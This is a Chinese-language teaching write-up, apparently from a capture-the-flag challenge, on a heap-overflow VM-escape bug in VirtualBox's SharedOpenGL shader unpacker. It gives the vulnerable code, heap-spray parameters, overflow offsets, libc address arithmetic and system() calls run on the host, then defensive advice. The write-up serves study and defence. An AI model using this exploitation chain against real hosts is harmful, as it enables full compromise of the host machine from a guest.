VirtualBox虚拟机逃逸漏洞分析
字数 1349 2025-08-29 08:32:24
VirtualBox虚拟机逃逸漏洞分析与利用教学文档
漏洞概述
本漏洞存在于VirtualBox的3D加速功能中,具体位置在src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c文件的crUnpackExtendShaderSource函数中。该漏洞允许攻击者从虚拟机内部突破到宿主机,实现虚拟机逃逸。
漏洞背景
- 发现时间:2018年10月
- 影响版本:VirtualBox v5.2.22及之前版本
- 相关CVE:CVE-2019-2446(信息泄露漏洞)
漏洞代码分析
关键函数:crUnpackExtendShaderSource
void crUnpackExtendShaderSource(void) {
GLint *length = NULL;
GLuint shader = READ_DATA(8, GLuint);
GLsizei count = READ_DATA(12, GLsizei);
GLint hasNonLocalLen = READ_DATA(16, GLsizei);
GLint *pLocalLength = DATA_POINTER(20, GLint);
char **ppStrings = NULL;
GLsizei i, j, jUpTo;
int pos, pos_check;
if (count >= UINT32_MAX / sizeof(char *) / 4) {
crError("crUnpackExtendShaderSource: count %u is out of range", count);
return;
}
pos = 20 + count * sizeof(*pLocalLength);
if (hasNonLocalLen > 0) {
length = DATA_POINTER(pos, GLint);
pos += count * sizeof(*length);
}
pos_check = pos;
if (!DATA_POINTER_CHECK(pos_check)) {
crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
return;
}
for (i = 0; i < count; ++i) {
if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check)) {
crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
return;
}
pos_check += pLocalLength[i];
}
ppStrings = crAlloc(count * sizeof(char*));
if (!ppStrings) return;
for (i = 0; i < count; ++i) {
ppStrings[i] = DATA_POINTER(pos, char);
pos += pLocalLength[i];
if (!length) {
pLocalLength[i] -= 1;
}
Assert(pLocalLength[i] > 0);
jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
for (j = 0; j < jUpTo; ++j) {
char *pString = ppStrings[i];
if (pString[j] == '\0') {
Assert(j == jUpTo - 1);
pString[j] = '\n';
}
}
}
cr_unpackDispatch.ShaderSource(shader, count, ppStrings, length ? length : pLocalLength);
cr_unpackDispatch.ShaderSource(shader, 1, (const char**)ppStrings, 0);
crFree(ppStrings);
}
漏洞点分析
-
边界检查缺陷:
- 在第一个循环中,
pos_check增加了一个数组的长度 - 验证只在下次迭代中进行,最后一个元素的长度从未被验证
- 导致最后一个元素的长度可以任意大
- 在第一个循环中,
-
堆溢出机会:
- 嵌套循环将每个
\0字节转换为\n字节 - 对于任意长度,循环可以越界,导致堆溢出
- 嵌套循环将每个
利用技术
关键数据结构
-
CRVBOXSVCBUFFER_t:
typedef struct _CRVBOXSVCBUFFER_t { uint32_t uiId; uint32_t uiSize; void* pData; _CRVBOXSVCBUFFER_t *pNext, *pPrev; } CRVBOXSVCBUFFER_t; -
CRConnection对象:
- 包含各种函数指针和指向缓冲区的指针
- 破坏此对象可获得任意读写和代码执行能力
利用步骤
-
堆信息泄露:
- 利用未初始化内存漏洞泄漏
CRConnection对象指针 - 即使打了CVE-2018-3055补丁,仍可利用此方法
- 利用未初始化内存漏洞泄漏
-
堆喷射:
- 使用
alloc_buf()喷射大量CRVBOXSVCBUFFER_t对象 - 典型参数:
spray_len = 0x30,spray_num = 0x2000
- 使用
-
第一次溢出:
- 构造恶意消息触发漏洞
- 覆盖相邻
CRVBOXSVCBUFFER_t的ID和大小字段 - 计算:消息长度0x30,pString偏移0x28,glibc块头0x10,最终需要0x22字节
-
寻找损坏的缓冲区:
- 遍历ID列表找出被损坏的ID
- 将
\0替换为\n以匹配损坏的ID
-
第二次溢出:
- 使用损坏的缓冲区覆盖第二个
CRVBOXSVCBUFFER_t - 构造伪对象指向
CRConnection对象
- 使用损坏的缓冲区覆盖第二个
-
建立任意读原语:
- 通过覆盖
CRConnection的pHostBuffer和大小字段 - 使用
SHCRGL_GUEST_FN_READ命令触发任意读取
- 通过覆盖
-
实现任意代码执行:
- 覆盖
CRConnection的函数指针(如Free()) - 将
system()地址写入函数指针位置 - 触发函数调用执行任意命令
- 覆盖
地址计算
- 从泄漏的
crVBoxHGCMFree地址开始:self.crVBoxHGCMFree = self.read64(self.pConn + OFFSET_CONN_FREE) self.VBoxOGLhostcrutil = self.crVBoxHGCMFree - 0x20650 self.memset = self.read64(self.VBoxOGLhostcrutil + 0x22e070) self.libc = self.memset - 0x18ef50 self.system = self.libc + 0x4f440
实际利用示例
获取flag
由于路径长度限制,使用分段命令:
p.rip(p.system, "mv Desktop a\0")
p.rip(p.system, "mv a/flag.txt b\0")
p.rip(p.system, "mousepad b\0")
防御建议
- 修复边界检查缺陷,确保所有元素的长度都被验证
- 初始化所有堆分配的内存,防止信息泄露
- 更新到最新版本的VirtualBox
- 禁用不必要的3D加速功能
总结
该漏洞利用展示了如何通过精心构造的堆操作和边界条件缺陷,实现从虚拟机到宿主机的逃逸。关键在于:
- 利用未初始化内存泄露关键地址
- 通过堆喷射控制内存布局
- 利用边界检查缺陷实现堆溢出
- 通过覆盖关键数据结构获得任意代码执行能力
理解此类漏洞有助于提高虚拟化环境的安全性设计和防御能力。